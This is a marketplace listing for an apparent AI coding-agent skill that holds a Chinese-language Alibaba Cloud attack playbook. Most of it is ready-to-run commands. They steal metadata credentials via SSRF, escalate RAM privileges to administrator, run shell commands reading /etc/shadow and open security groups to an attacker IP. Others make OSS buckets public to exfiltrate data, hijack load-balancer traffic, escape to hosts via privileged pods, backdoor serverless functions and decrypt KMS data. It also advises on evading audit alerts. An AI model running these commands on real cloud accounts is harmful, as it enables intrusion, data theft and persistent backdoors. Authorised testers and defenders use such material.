
Aliyun Pentesting
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
aliyun-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- aliyun-pentesting
- Testing & QA
- AI-coding skill
Aliyun Pentesting by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,407 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill aliyun-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
阿里云渗透测试方法论
阿里云 RAM/ECS/OSS/RDS/ACK 等服务构成主要攻击面。与 AWS 不同,阿里云的元数据端点为 100.100.100.200,AccessKey 以 LTAI 开头,且部分安全机制(如元数据服务访问限制、ActionTrail 覆盖范围)与国际云平台存在显著差异。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
- 计算/存储/数据库详细利用 → 读 references/compute-storage-attacks.md
- 容器/Serverless/日志/KMS 详细利用 → 读 references/platform-services-attacks.md
---
Phase 1: 环境识别
拿到阿里云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 AccessKey | AccessKeyId 以 LTAI 开头 | 永久(直到手动轮换) | RAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | AccessKeyId 以 STS. 开头 + SecurityToken | 15 分钟 ~ 12 小时 | AssumeRole / ECS 元数据 |
| RAM Role(ECS 绑定) | 通过 100.100.100.200 获取 | 自动轮换(约 6 小时) | ECS 实例元数据服务 |
| Bearer Token | 用于部分 OpenAPI | 视场景而定 | OAuth 授权流程 |
1.2 CLI 配置与身份验证
# 配置 aliyun CLI(交互式,填入 AccessKeyId/Secret/Region)
aliyun configure
# 验证当前身份(最基础的检查,等同于 AWS 的 sts get-caller-identity)
aliyun sts GetCallerIdentity
# 返回: AccountId, Arn, IdentityType (对应 User/Role/AssumedRoleUser)
# 查看当前 RAM 用户详情
aliyun ram GetUser1.3 元数据端点
阿里云 ECS 元数据端点与 AWS 169.254.169.254 不同,使用 100.100.100.200:
# 判断是否在 ECS 实例内部
curl -s http://100.100.100.200/latest/meta-data/
# 获取实例绑定的 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 获取该 Role 的临时凭据(AccessKeyId/AccessKeySecret/SecurityToken)
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://100.100.100.200/latest/user-data注意: 阿里云目前不强制 IMDSv2(Token 模式),大部分 ECS 实例的元数据服务可直接通过 HTTP GET 访问,无需 Token Header。这使得 SSRF 漏洞在阿里云环境中的危害更大。
1.4 对象存储 URL 格式
公网访问: https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}发现 oss-*.aliyuncs.com 域名即可确认目标使用阿里云 OSS。Bucket 名称全局唯一。
1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|---|---|
| cn-hangzhou | 华东1(杭州) | 阿里云总部所在地,最常用区域 |
| cn-shanghai | 华东2(上海) | 金融客户常用 |
| cn-qingdao | 华北1(青岛) | |
| cn-beijing | 华北2(北京) | 政企客户常用 |
| cn-shenzhen | 华南1(深圳) | |
| cn-chengdu | 西南1(成都) | |
| cn-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-southeast-1 | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 RAM、STS)为全局服务,不受区域限制。
---
Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → OSS Bucket 枚举(猜解 bucket 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│ └── 仅知组织名 → OSINT + OSS/子域名枚举
│
├── 有 AccessKey(LTAI 开头)
│ ├── 先验证: aliyun sts GetCallerIdentity
│ ├── 有 RAM 写权限 → Phase 3(RAM 提权)
│ ├── 有 ECS 权限 → Phase 4(计算/存储)
│ ├── 有 OSS 权限 → Phase 4(对象存储)
│ ├── 有 RDS 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(无 enumerate-iam 等工具,需手动探测)
│
├── 有 STS 临时凭据(STS. 开头)
│ └── 同上,但需注意有效期,快速行动
│
├── 在 ECS 实例内部
│ ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(ACK Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问元数据服务
└── → Phase 5(容器/Serverless)---
Phase 3: RAM 提权速查
RAM(Resource Access Management)是阿里云的身份权限服务,对标 AWS IAM。
3.1 信息收集
# 列出所有 RAM 用户
aliyun ram ListUsers
# 查看指定用户的策略
aliyun ram ListPoliciesForUser --UserName USERNAME
# 列出该用户的 AccessKey(检查是否有多个)
aliyun ram ListAccessKeys --UserName USERNAME
# 列出所有角色及信任策略
aliyun ram ListRoles3.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|---|---|
| 创建 AccessKey | ram:CreateAccessKey | 为高权限用户创建新 AK |
| 附加策略 | ram:AttachPolicyToUser | 给自己附加 AdministratorAccess |
| 创建策略版本 | ram:CreatePolicyVersion | 新建 Allow * 策略版本并设为默认 |
| 修改角色信任策略 | ram:UpdateRole | 修改 AssumeRolePolicyDocument 使自己可切换 |
| PassRole + 创建 ECS | ram:PassRole + ecs:CreateInstance | 启动绑定高权限 Role 的 ECS |
| PassRole + 创建 FC | ram:PassRole + fc:CreateFunction | 创建绑定高权限 Role 的函数并执行 |
# 提权示例:为目标用户创建新 AccessKey
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# 成功返回 AccessKeyId + AccessKeySecret,用新凭据重新配置 CLI
# 提权示例:给当前用户附加管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME---
Phase 4: 计算/存储/数据库速查
ECS(云服务器)
# 列出实例
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# 通过 Cloud Assistant 执行命令(需安装云助手 Agent)
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、命令执行完整流程
OSS(对象存储)
# 列出 Bucket → 检查 ACL → 下载敏感文件
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"→ 读 references/compute-storage-attacks.md 获取 ACL 修改、公开读设置、批量下载完整流程
RDS(关系型数据库)
# 列出实例 → 获取连接串 → 创建账号
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription→ 读 references/compute-storage-attacks.md 获取账号创建、数据库授权完整流程
SLB(负载均衡)
# 列出 SLB → 查看后端服务器
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
---
Phase 5: 容器/Serverless/日志/KMS 速查
ACK(容器服务 Kubernetes)
# 列出集群 → 获取 kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程
FC(函数计算)
# 列出函数 → 检查环境变量中的凭据
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程
日志服务(SLS)
# 搜索敏感信息
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程
KMS(密钥管理)
# 列出密钥 → 尝试解密
aliyun kms ListKeys→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
---
Phase 6: 安全组操控
安全组是阿里云 ECS 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
# 危险操作 — 开放所有端口(极高告警风险)
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发云安全中心告警。
---
工具速查
| 工具 | 用途 | 安装/使用 |
|---|---|---|
| aliyun CLI | 阿里云官方命令行工具 | brew install aliyun-cli 或从 GitHub Releases 下载 |
| aliyun sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| aliyun oss | OSS 对象操作 | 内置子命令 |
| ossutil | OSS 专用工具(大文件传输更优) | 独立二进制,阿里云官网下载 |
| curl | 元数据服务探测 | 系统自带 |
| kubectl | ACK 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 阿里云/腾讯云自动化利用 | go install github.com/teamssix/cf@latest |
| aliyun-accesskey-tools | AccessKey 利用集合 | 社区工具 |
注意事项
ActionTrail 审计感知: 阿里云 ActionTrail 记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- RAM 变更(CreateUser、CreateAccessKey、AttachPolicyToUser)
- STS 调用(AssumeRole)
- 安全组规则变更(AuthorizeSecurityGroup)
云安全中心检测: 阿里云云安全中心(安骑士升级版)会检测:
- AccessKey 异常调用(异常 IP、异常时间、异常 API 频率)
- ECS 异常登录(非常用地域 IP)
- 安全组规则异常开放
- OSS Bucket ACL 变更为公开
速率限制: 阿里云 OpenAPI 有限流机制,枚举时建议控制频率。触发限流返回 Throttling.User 错误码。
区域遍历: 与 AWS 类似,阿里云资源按区域隔离。全局服务(RAM、STS)不受区域限制,但 ECS/OSS/RDS 等需逐区域枚举。
阿里云计算/存储/数据库攻击详解
本文档覆盖阿里云 ECS(云服务器)、OSS(对象存储)、RDS(关系型数据库)、SLB(负载均衡)四项核心服务的渗透技术。每项技术包含利用条件、完整命令和预期输出。
---
ECS 云服务器攻击
ECS 是阿里云最基础的计算服务。攻击 ECS 的主要目标是获取实例控制权、提取敏感数据、或通过实例绑定的 RAM Role 获取更高权限。
实例枚举
利用条件: 拥有 ecs:DescribeInstances 权限。
# 列出所有实例,输出关键字段
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# 预期输出:
# InstanceId | InstanceName | Status
# i-bp1abc123def456 | web-server-01 | Running
# i-bp2ghi789jkl012 | db-server-01 | Running
# 获取指定实例的详细信息(包括安全组、VPC、公网 IP)
aliyun ecs DescribeInstances --InstanceIds '["i-bp1abc123def456"]'关注点: 返回结果中的 PublicIpAddress(公网 IP)、SecurityGroupIds(安全组)、VpcAttributes(VPC 信息)。如果实例绑定了 RAM Role,RamRoleName 字段不为空——这是横向移动的关键线索。
VNC 连接
利用条件: 拥有 ecs:DescribeInstanceVncUrl 权限。
# 获取实例的 VNC 控制台连接 URL
aliyun ecs DescribeInstanceVncUrl --InstanceId i-INSTANCE_ID
# 返回的 URL 可在浏览器中打开,提供实例的图形化终端
# 适用于无法通过 SSH/RDP 连接时的应急访问注意: VNC 连接需要实例处于 Running 状态。URL 有效期通常为 15 秒,获取后需立即使用。
User-Data 提取
利用条件: 拥有 ecs:DescribeInstanceAttribute 权限,或在 ECS 实例内部可访问元数据。
# 通过 API 获取实例的 User-Data(可能包含初始化脚本中的凭据)
aliyun ecs DescribeInstanceAttribute --InstanceId i-INSTANCE_ID
# 从元数据服务获取(在实例内部执行)
curl -s http://100.100.100.200/latest/user-data
# User-Data 常见敏感内容:
# - 数据库连接字符串
# - AccessKey/Secret
# - 配置管理系统凭据(Ansible、SaltStack)
# - SSH 私钥通过云助手执行命令
利用条件: 拥有 ecs:RunCommand 或 ecs:InvokeCommand 权限,且目标实例已安装云助手 Agent。
# 检查实例是否安装了云助手(Cloud Assistant)
aliyun ecs DescribeCloudAssistantStatus --InstanceId.1 i-INSTANCE_ID
# 直接在实例上执行命令(最直接的 RCE 方式)
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; whoami; cat /etc/passwd" \
--InstanceId.1 i-INSTANCE_ID
# 获取命令执行结果
aliyun ecs DescribeInvocationResults --InvokeId INVOKE_ID
# 预期输出中的 Output 字段为 Base64 编码,需解码
# echo "BASE64_OUTPUT" | base64 -d关键判断: 云助手是阿里云 ECS 的原生远程管理工具(类似 AWS SSM Agent)。如果实例安装了云助手,RunCommand 是最隐蔽的命令执行方式——不需要开放 SSH 端口,不需要知道密码,直接通过阿里云 API 通道执行。
实例元数据利用
从 ECS 内部利用元数据获取凭据,是阿里云环境中 SSRF 漏洞的核心利用路径。
# 完整的元数据利用链(从 SSRF 到获取凭据):
# Step 1: 确认元数据服务可达
curl -s http://100.100.100.200/latest/meta-data/
# Step 2: 获取 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 输出: ECS-Role-Name
# Step 3: 获取临时凭据
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ECS-Role-Name
# 输出 JSON:
# {
# "AccessKeyId": "STS.xxx",
# "AccessKeySecret": "xxx",
# "SecurityToken": "xxx",
# "Expiration": "2024-01-01T12:00:00Z"
# }
# Step 4: 用获取的凭据配置 CLI
export ALICLOUD_ACCESS_KEY="STS.xxx"
export ALICLOUD_SECRET_KEY="xxx"
export ALICLOUD_SECURITY_TOKEN="xxx"
# Step 5: 验证凭据
aliyun sts GetCallerIdentity---
OSS 对象存储攻击
OSS 是阿里云的对象存储服务,对标 AWS S3。攻击目标包括数据窃取、ACL 篡改、配置文件获取。
Bucket 枚举与内容列出
利用条件: 拥有 oss:ListBuckets 权限(列出),或 Bucket 本身允许公开列出。
# 列出当前账号下所有 Bucket
aliyun oss ls
# 预期输出:
# CreationTime BucketName Region StorageClass
# 2023-05-01 08:00:00 company-backup oss-cn-hangzhou Standard
# 2023-06-15 10:30:00 app-static-assets oss-cn-shanghai Standard
# 列出 Bucket 内容
aliyun oss ls oss://BUCKET_NAME/
# 递归列出所有对象
aliyun oss ls oss://BUCKET_NAME/ -s --all
# 按文件后缀过滤敏感文件
aliyun oss ls oss://BUCKET_NAME/ --include "*.sql"
aliyun oss ls oss://BUCKET_NAME/ --include "*.env"
aliyun oss ls oss://BUCKET_NAME/ --include "*.bak"
aliyun oss ls oss://BUCKET_NAME/ --include "*.key"
aliyun oss ls oss://BUCKET_NAME/ --include "*.pem"Bucket ACL 检查与修改
利用条件: 检查 ACL 需要 oss:GetBucketAcl,修改 ACL 需要 oss:PutBucketAcl。
# 检查 Bucket 的 ACL
aliyun oss get-bucket-acl oss://BUCKET_NAME/
# ACL 值: private / public-read / public-read-write
# 修改 Bucket ACL 为公开读(数据外泄)
aliyun oss set-acl oss://BUCKET_NAME/ public-read
# 修改后该 Bucket 所有对象可通过 URL 直接下载:
# https://BUCKET_NAME.oss-cn-hangzhou.aliyuncs.com/OBJECT_PATH风险评估: set-acl public-read 会立即使 Bucket 所有内容对互联网可见。如果 Bucket 包含用户数据、数据库备份等,此操作造成严重数据泄露。云安全中心会检测 ACL 变更事件。
数据下载
# 下载单个文件
aliyun oss cp oss://BUCKET_NAME/config/database.yml /tmp/
# 递归下载整个 Bucket(注意大小)
aliyun oss cp oss://BUCKET_NAME/ /tmp/loot/ -r
# 使用 ossutil 下载大文件(支持断点续传,更适合大规模数据)
ossutil cp oss://BUCKET_NAME/backup.sql.gz /tmp/ --checkpoint-dir /tmp/checkpoint未授权访问检测
无需任何凭据即可检测 OSS Bucket 是否公开:
# 直接通过 HTTP 检查是否可列出
curl -s "https://BUCKET_NAME.oss-cn-hangzhou.aliyuncs.com/?list-type=2"
# 如果返回 XML 含 <Contents>,说明 Bucket 允许匿名列出
# 检查是否可下载特定对象
curl -s -o /dev/null -w "%{http_code}" \
"https://BUCKET_NAME.oss-cn-hangzhou.aliyuncs.com/test.txt"
# 200 = 可下载, 403 = 禁止, 404 = 不存在---
RDS 关系型数据库攻击
RDS 是阿里云的托管数据库服务,支持 MySQL、PostgreSQL、SQL Server、MariaDB。攻击目标是数据窃取和持久化后门。
实例枚举
利用条件: 拥有 rds:DescribeDBInstances 权限。
# 列出所有 RDS 实例
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
# 预期输出:
# DBInstanceId | DBInstanceDescription
# rm-bp1abc123 | production-mysql
# rm-bp2def456 | staging-postgres
# 获取连接信息
aliyun rds DescribeDBInstanceNetInfo --DBInstanceId rm-bp1abc123
# 关注: ConnectionString(连接地址)、Port(端口)、IPType(公网/内网)关键判断: 如果 IPType 包含 Public,说明 RDS 实例有公网访问地址。如果没有公网地址,需要通过 ECS 实例或 VPN 访问内网地址。
创建数据库账号
利用条件: 拥有 rds:CreateAccount 和 rds:GrantAccountPrivilege 权限。
# 创建只读账号
aliyun rds CreateAccount --DBInstanceId rm-bp1abc123 \
--AccountName audit_reader --AccountPassword 'Str0ngP@ss!'
# 授权数据库访问权限
aliyun rds GrantAccountPrivilege --DBInstanceId rm-bp1abc123 \
--AccountName audit_reader --DBName target_database \
--AccountPrivilege ReadOnly
# 预期输出:成功后返回 RequestId
# 现在可以用 audit_reader / Str0ngP@ss! 连接数据库利用后: 获取数据库访问权限后,使用 mysql/psql 客户端连接,重点搜索:
- 用户表(用户名、密码哈希、邮箱)
- 配置表(第三方 API Key、数据库连接串)
- 日志表(操作日志中的敏感信息)
数据库备份利用
# 列出备份集
aliyun rds DescribeBackups --DBInstanceId rm-bp1abc123
# 创建临时备份(需要 rds:CreateBackup 权限)
aliyun rds CreateBackup --DBInstanceId rm-bp1abc123
# 下载备份文件URL
aliyun rds DescribeBackupDownloadURL --DBInstanceId rm-bp1abc123 \
--BackupId BACKUP_ID---
SLB 负载均衡攻击
SLB 是阿里云的负载均衡服务。攻击 SLB 可以劫持流量、注入后端服务器、或造成拒绝服务。
枚举与信息收集
利用条件: 拥有 slb:DescribeLoadBalancers 权限。
# 列出所有 SLB 实例
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
# 预期输出:
# LoadBalancerId | Address | Status
# lb-bp1abc123 | 47.96.xxx.xxx | active
# 查看后端服务器健康状态
aliyun slb DescribeHealthStatus --LoadBalancerId lb-bp1abc123
# 显示后端 ECS 实例 ID、健康状态、端口映射后端服务器篡改
利用条件: 拥有 slb:AddBackendServers 权限。
# 添加攻击者控制的服务器到 SLB 后端(流量劫持)
aliyun slb AddBackendServers --LoadBalancerId lb-bp1abc123 \
--BackendServers '[{"ServerId":"i-ATTACKER_INSTANCE","Weight":"100"}]'攻击效果: 将攻击者控制的 ECS 实例加入负载均衡后端池,并设置最高权重(100),可以:
- 拦截用户请求中的凭据、Session Token
- 返回钓鱼页面
- 获取后端服务通信协议和数据格式
注意: SLB 配置变更会在 ActionTrail 中留下记录,且后端服务器需在同一 VPC 或经典网络内。
监听器配置篡改
# 查看监听器配置
aliyun slb DescribeLoadBalancerAttribute --LoadBalancerId lb-bp1abc123
# 如果 SLB 配置了 HTTPS 监听器,获取证书信息
aliyun slb DescribeServerCertificates
# 可能泄露域名信息和证书关联关系阿里云容器/Serverless/日志/KMS 攻击详解
本文档覆盖阿里云 ACK(容器服务 Kubernetes)、FC(函数计算)、日志服务(SLS)、KMS(密钥管理)四项平台服务的渗透技术。
---
ACK 容器服务攻击
ACK(Alibaba Cloud Container Service for Kubernetes)是阿里云的托管 Kubernetes 服务。攻击目标是获取集群控制权、容器逃逸到宿主机、或通过 ServiceAccount 横向移动。
集群枚举
利用条件: 拥有 cs:DescribeClusters 权限。
# 列出所有 ACK 集群
aliyun cs DescribeClusters
# 返回 JSON 数组,每个集群包含:
# - cluster_id: 集群唯一标识
# - name: 集群名称
# - cluster_type: Kubernetes / ManagedKubernetes / Ask
# - state: running / failed / deleted
# - size: 节点数量
# - region_id: 所在区域关注点: cluster_type 区分托管/专有/Serverless 集群——托管集群(ManagedKubernetes)的 Master 节点由阿里云管理,攻击面集中在 Worker 节点和 K8s API。
获取集群凭据
利用条件: 拥有 cs:DescribeClusterUserKubeconfig 权限。这是 ACK 攻击链中最关键的一步。
# 获取 kubeconfig(集群管理凭据)
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
# 将返回的 kubeconfig 保存到文件
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID \
| jq -r '.config' > /tmp/kubeconfig
# 使用获取的 kubeconfig 操作集群
export KUBECONFIG=/tmp/kubeconfig
# 验证集群访问
kubectl cluster-info
kubectl get nodes关键判断: 如果成功获取 kubeconfig,等同于获得了集群的完全控制权。根据 kubeconfig 中配置的用户身份,可能直接是 cluster-admin 角色。
Kubernetes 集群利用
获取 kubeconfig 后,使用标准 Kubernetes 攻击技术:
# 信息收集
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get configmaps --all-namespaces
# 读取 Secret 内容(可能包含数据库密码、API Key)
kubectl get secret SECRET_NAME -n NAMESPACE -o jsonpath='{.data}' | \
while IFS= read -r line; do echo "$line" | base64 -d; done
# 检查 ServiceAccount 权限
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:NAMESPACE:SA_NAME创建特权 Pod
利用条件: 拥有 Pod 创建权限(pods/create),且 PodSecurityPolicy/PodSecurityStandard 未严格限制。
# 创建特权 Pod(挂载宿主机文件系统)
kubectl run priv-pod --image=alpine --overrides='{
"spec": {
"containers": [{
"name": "priv",
"image": "alpine",
"command": ["sleep", "3600"],
"securityContext": {"privileged": true},
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{
"name": "host",
"hostPath": {"path": "/", "type": "Directory"}
}]
}
}'
# 进入 Pod,访问宿主机文件系统
kubectl exec -it priv-pod -- /bin/sh
# 在 Pod 内: ls /host/ → 宿主机根目录
# chroot /host /bin/bash → 获取宿主机 shell攻击效果: 特权 Pod 可以访问宿主机所有文件系统、网络栈和设备。从容器逃逸到节点后,可以:
- 读取节点上其他 Pod 的 Secret
- 访问节点的 kubelet 凭据
- 通过节点的 RAM Role 访问阿里云 API
从 Pod 内获取元数据
在 ACK 集群的 Pod 内部,同样可以访问 ECS 元数据服务:
# 在 Pod 内获取节点的 RAM Role 凭据
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME注意: 如果集群启用了 RRSA(RAM Roles for Service Accounts),Pod 会通过 OIDC 获取独立的 RAM 凭据,而不是节点的 RAM Role。但很多集群仍未启用 RRSA,Pod 默认继承节点的 RAM Role 权限。
---
FC 函数计算攻击
FC(Function Compute)是阿里云的 Serverless 计算服务,对标 AWS Lambda。攻击目标是代码窃取、环境变量中的凭据提取、以及通过函数绑定的服务角色横向移动。
函数枚举
利用条件: 拥有 fc:ListFunctions 和 fc:ListServices 权限。
# 列出所有函数
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
# 预期输出:
# FunctionName | Runtime
# payment-handler | python3.9
# user-auth | nodejs14
# data-processor | java11关注点: Runtime 信息帮助判断代码语言。Python/Node.js 函数更可能在环境变量中存储凭据(而不是使用 Vault 等密钥管理)。
获取函数代码
利用条件: 拥有 fc:GetFunction 权限。
# 获取函数详细信息(包括代码位置)
aliyun fc GetFunction --serviceName SERVICE_NAME --functionName FUNCTION_NAME
# 返回中包含 codeChecksum、codeSize、handler 等信息
# 下载函数代码包
aliyun fc GetFunction --serviceName SERVICE_NAME --functionName FUNCTION_NAME \
--output-file /tmp/function_code.zip利用后分析: 解压代码包后重点搜索:
- 硬编码的 AccessKey/Secret
- 数据库连接字符串
- 第三方 API Token
- 内网服务地址
环境变量提取
利用条件: 拥有 fc:GetFunction 权限。
# 获取函数的环境变量(最常见的凭据存储位置)
aliyun fc GetFunction --serviceName SERVICE_NAME --functionName FUNCTION_NAME | \
grep -i "environmentVariables"
# 常见的敏感环境变量名:
# DB_HOST, DB_PASSWORD, DB_CONNECTION_STRING
# ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET
# OSS_ENDPOINT, OSS_BUCKET
# REDIS_PASSWORD, REDIS_HOST
# API_KEY, SECRET_KEY, JWT_SECRET关键判断: 开发者经常将凭据存储在 FC 函数的环境变量中。一个函数的环境变量可能包含访问多个其他服务的凭据,形成横向移动链。
函数日志查看
利用条件: 拥有 fc:GetLogs 或 log:GetLogs 权限(FC 日志存储在 SLS 日志服务中)。
# 查看函数最近的执行日志
aliyun fc GetLogs --serviceName SERVICE_NAME --functionName FUNCTION_NAME \
--tail 100
# 日志中可能包含:
# - 请求/响应数据
# - 错误信息中泄露的内部路径和配置
# - Debug 日志中打印的变量值函数代码注入
利用条件: 拥有 fc:UpdateFunction 权限。
# 修改函数代码实现持久化后门
# 此操作极其危险,会直接影响生产环境
aliyun fc UpdateFunction --serviceName SERVICE_NAME \
--functionName FUNCTION_NAME \
--code '{"zipFile": "BASE64_ENCODED_ZIP"}'注意: 修改函数代码会被 ActionTrail 记录为 UpdateFunction 事件。如果目标配置了版本/别名机制,修改 LATEST 版本不会影响通过别名(如 production)调用的流量。
---
日志服务(SLS)攻击
日志服务(Simple Log Service / SLS)是阿里云的日志收集分析平台。日志中经常包含应用层的敏感信息——密码、Token、内部 API 调用等。
日志库枚举
利用条件: 拥有 log:ListLogStores 和 log:ListProject 权限。
# 列出所有日志 Project
aliyun log ListProject
# 列出指定 Project 下的所有 LogStore
aliyun log ListLogStores --project PROJECT_NAME
# 常见的 LogStore 名称:
# access-log (访问日志)
# error-log (错误日志)
# audit-log (审计日志)
# app-log (应用日志)敏感日志搜索
利用条件: 拥有 log:GetLogs 权限。
# 搜索包含密码/凭据关键词的日志
aliyun log GetLogs --project PROJECT_NAME --logstore LOG_STORE \
--from $(date -d '7 days ago' +%s) --to $(date +%s) \
--query "password OR secret OR token OR accesskey OR credential"
# 搜索失败的认证尝试(可能泄露有效用户名)
aliyun log GetLogs --project PROJECT_NAME --logstore LOG_STORE \
--from $(date -d '1 day ago' +%s) --to $(date +%s) \
--query "401 OR 403 OR \"authentication failed\" OR \"login failed\""
# 搜索内网 IP 访问记录(发现内部服务拓扑)
aliyun log GetLogs --project PROJECT_NAME --logstore LOG_STORE \
--from $(date -d '1 day ago' +%s) --to $(date +%s) \
--query "10.0.0.0/8 OR 172.16.0.0/12 OR 192.168.0.0/16"关键判断: 日志服务是信息收集的金矿。应用日志中经常出现:
- HTTP 请求头中的 Authorization Token
- 请求体中的密码明文(特别是登录接口)
- 错误堆栈中泄露的数据库连接串
- Debug 级别日志中输出的完整请求/响应
日志批量导出
# 批量拉取日志数据
aliyun log PullLogs --project PROJECT_NAME --logstore LOG_STORE \
--fromTime $(date -d '1 day ago' +%s) --toTime $(date +%s) \
--output-file /tmp/logs.json
# 使用 PowerSQL 模式进行复杂查询(类似 SQL)
aliyun log GetLogs --project PROJECT_NAME --logstore LOG_STORE \
--from $(date -d '7 days ago' +%s) --to $(date +%s) \
--query "* | SELECT content WHERE content LIKE '%password%' LIMIT 1000" \
--powerSql---
KMS 密钥管理攻击
KMS(Key Management Service)是阿里云的密钥管理服务。攻击 KMS 的目标是解密被加密的数据、获取密钥材料、或利用 KMS 权限进行数据勒索。
密钥枚举
利用条件: 拥有 kms:ListKeys 和 kms:DescribeKey 权限。
# 列出所有密钥
aliyun kms ListKeys
# 返回 KeyId 列表
# 获取密钥详情(密钥用途、状态、创建时间)
aliyun kms DescribeKey --KeyId KEY_ID
# 关注:
# - KeyUsage: ENCRYPT/DECRYPT 或 SIGN/VERIFY
# - KeyState: Enabled / Disabled / PendingDeletion
# - Origin: Aliyun_KMS (阿里云托管) 或 EXTERNAL (用户导入)
# - ProtectionLevel: SOFTWARE 或 HSM关注点: Origin: EXTERNAL 的密钥表示用户导入了自己的密钥材料,这些密钥可能在其他地方也被使用。KeyUsage: ENCRYPT/DECRYPT 的密钥用于数据加密,是核心目标。
数据解密
利用条件: 拥有 kms:Decrypt 权限。
# 解密数据(需要知道密文和对应的 KeyId)
aliyun kms Decrypt --CiphertextBlob "BASE64_CIPHERTEXT"
# 如果密文存储在文件中
aliyun kms Decrypt --CiphertextBlob fileb://encrypted.bin
# 返回: Plaintext (Base64 编码的明文)
# 解密 Base64 明文
echo "RETURNED_PLAINTEXT" | base64 -d攻击场景: 阿里云很多服务使用 KMS 加密敏感数据(RDS 透明加密、OSS 服务端加密等)。如果拥有 kms:Decrypt 权限,可以解密这些数据,即使没有直接访问原始服务的权限。
密钥策略利用
# 列出密钥的别名(别名暗示用途)
aliyun kms ListAliases
